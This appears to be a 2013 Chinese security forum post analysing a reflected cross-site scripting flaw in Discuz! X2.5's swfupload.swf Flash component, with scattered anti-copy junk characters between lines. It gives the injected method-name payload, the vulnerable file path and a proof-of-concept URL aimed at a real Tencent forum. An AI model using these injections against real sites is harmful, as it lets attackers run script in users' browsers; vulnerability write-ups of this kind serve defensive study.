找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1985|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
- s4 k. T7 v* L1 _4 ?
* f  I5 I4 d% b" d% l! R& }flash.external.ExternalInterface.call($methodName, $parameter)% {( U3 X. P: V( T
在浏览器中执行的是
1 _* B# R5 g6 n* ^+ _$ L3 ~9 X) Q1 P3 Y9 A; Y1 K9 F
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
* m0 v: |' @. h, n8 D) r: r对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
+ a' J7 r. N" m4 Y/ T" G$ j1 g( I% x0 J: \2 k4 F
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
" j- Z5 R2 O5 n3 u3 D' E$methodName = a())}catch(e){alert(/xss/)}/// s" A) G' X$ t% X
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
; j5 G  b  A9 S& x% ~/ ~0 f4 C+ ~' c+ q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
( b; T- ?% c) ~/ b7 g% u" M
0 ]: o; K5 X8 D. `% o这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )4 P* Y* F( N- ]% W: K& k+ H2 B
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
' Z5 C! v, v& ^& z2 r$ w$ k
% t# a' l; ?" i* A$ P5 G
8 l+ b/ r1 q  \5 G9 @3 B2 m) Q# {2 ]+ D9 n  G
漏洞文件:upload\static\image\common\swfupload.swf6 s; }  m* X2 W
6 M. M5 _6 d- W6 I% r5 h2 j
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
: n: Y# [: f' Q9 m$ x/ f
4 y( |7 d( _% s5 l6 R$ ]! f6 z( K: S# Y7 c: q
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//# V7 {% U$ t& p/ W3 \

1 J, _% ]/ q% E/ D8 [) [$ P! l- ]0 P' @8 H  P3 O0 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表